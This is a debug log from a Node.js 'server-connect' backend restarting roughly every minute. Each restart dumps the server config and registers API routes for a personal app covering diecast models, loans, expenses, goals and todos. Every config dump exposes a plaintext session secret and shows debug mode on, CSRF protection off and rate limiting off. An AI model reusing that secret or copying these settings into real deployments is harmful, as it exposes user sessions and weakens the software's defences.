2026-07-23T15:48:01.523Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:48:01.523Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:48:01.527Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:48:01.528Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:48:01.529Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:48:01.530Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:48:01.530Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:48:01.531Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:48:01.531Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:48:01.532Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:48:01.533Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:48:01.533Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:48:01.534Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:48:01.534Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:48:01.535Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:48:01.535Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:48:01.536Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:48:01.536Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:48:01.536Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:48:01.537Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:48:01.537Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:48:01.537Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:48:01.538Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:48:01.538Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:48:01.539Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:48:01.539Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:48:01.539Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:48:01.540Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:49:02.054Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:49:02.352Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:49:02.510Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:49:02.511Z server-connect:secure CSRF Protection initialized
2026-07-23T15:49:02.514Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:49:02.514Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:49:02.515Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:49:02.515Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:49:02.516Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:49:02.517Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:49:02.520Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:49:02.521Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:49:02.522Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:49:02.523Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:49:02.523Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:49:02.524Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:49:02.524Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:49:02.525Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:49:02.529Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:49:02.529Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:49:02.530Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:49:02.531Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:49:02.531Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:49:02.532Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:49:02.533Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:49:02.533Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:49:02.534Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:49:02.534Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:49:02.534Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:49:02.535Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:49:02.535Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:49:02.536Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:49:02.536Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:49:02.536Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:49:02.537Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:49:02.537Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:49:02.537Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:49:02.538Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:49:02.538Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:49:02.538Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:49:02.539Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:49:02.539Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:50:03.257Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:50:03.509Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:50:03.596Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:50:03.597Z server-connect:secure CSRF Protection initialized
2026-07-23T15:50:03.599Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:50:03.599Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:50:03.600Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:50:03.600Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:50:03.601Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:50:03.601Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:50:03.604Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:50:03.605Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:50:03.605Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:50:03.606Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:50:03.606Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:50:03.606Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:50:03.607Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:50:03.607Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:50:03.610Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:50:03.611Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:50:03.611Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:50:03.612Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:50:03.612Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:50:03.612Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:50:03.613Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:50:03.613Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:50:03.614Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:50:03.614Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:50:03.614Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:50:03.615Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:50:03.615Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:50:03.616Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:50:03.616Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:50:03.616Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:50:03.616Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:50:03.617Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:50:03.617Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:50:03.617Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:50:03.617Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:50:03.617Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:50:03.618Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:50:03.618Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:51:03.821Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:51:04.015Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:51:04.103Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:51:04.103Z server-connect:secure CSRF Protection initialized
2026-07-23T15:51:04.105Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:51:04.105Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:51:04.106Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:51:04.106Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:51:04.107Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:51:04.107Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:51:04.110Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:51:04.111Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:51:04.111Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:51:04.112Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:51:04.112Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:51:04.112Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:51:04.113Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:51:04.113Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:51:04.114Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:51:04.117Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:51:04.117Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:51:04.117Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:51:04.118Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:51:04.118Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:51:04.118Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:51:04.119Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:51:04.119Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:51:04.119Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:51:04.119Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:51:04.120Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:51:04.120Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:51:04.120Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:51:04.120Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:51:04.121Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:51:04.121Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:51:04.121Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:51:04.121Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:51:04.121Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:51:04.121Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:51:04.122Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:51:04.122Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:51:04.122Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:52:04.165Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:52:04.406Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:52:04.490Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:52:04.490Z server-connect:secure CSRF Protection initialized
2026-07-23T15:52:04.492Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:52:04.493Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:52:04.493Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:52:04.494Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:52:04.494Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:52:04.495Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:52:04.497Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:52:04.497Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:52:04.498Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:52:04.498Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:52:04.499Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:52:04.499Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:52:04.499Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:52:04.500Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:52:04.500Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:52:04.503Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:52:04.504Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:52:04.504Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:52:04.504Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:52:04.505Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:52:04.505Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:52:04.505Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:52:04.506Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:52:04.506Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:52:04.506Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:52:04.506Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:52:04.507Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:52:04.507Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:52:04.507Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:52:04.507Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:52:04.507Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:52:04.508Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:52:04.508Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:52:04.508Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:52:04.508Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:52:04.508Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:52:04.509Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:52:04.509Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:53:04.682Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:53:04.854Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:53:04.945Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:53:04.945Z server-connect:secure CSRF Protection initialized
2026-07-23T15:53:04.947Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:53:04.947Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:53:04.948Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:53:04.948Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:53:04.949Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:53:04.949Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:53:04.952Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:53:04.952Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:53:04.976Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:53:04.980Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:53:04.981Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:53:04.981Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:53:04.982Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:53:04.983Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:53:04.983Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:53:04.984Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:53:04.984Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:53:04.985Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:53:04.986Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:53:04.986Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:53:04.987Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:53:04.987Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:53:04.988Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:53:04.988Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:53:04.989Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:53:04.989Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:53:04.990Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:53:04.990Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:53:04.990Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:53:04.991Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:53:04.991Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:53:04.991Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:53:04.992Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:53:04.992Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:53:04.992Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:53:04.993Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:53:04.993Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:53:04.994Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:54:05.150Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:54:05.330Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:54:05.424Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:54:05.425Z server-connect:secure CSRF Protection initialized
2026-07-23T15:54:05.427Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:54:05.427Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:54:05.428Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:54:05.428Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:54:05.428Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:54:05.429Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:54:05.431Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:54:05.432Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:54:05.433Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:54:05.433Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:54:05.433Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:54:05.434Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:54:05.434Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:54:05.435Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:54:05.435Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:54:05.438Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:54:05.443Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:54:05.444Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:54:05.444Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:54:05.445Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:54:05.445Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:54:05.445Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:54:05.445Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:54:05.446Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:54:05.446Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:54:05.446Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:54:05.446Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:54:05.447Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:54:05.447Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:54:05.447Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:54:05.447Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:54:05.448Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:54:05.448Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:54:05.448Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
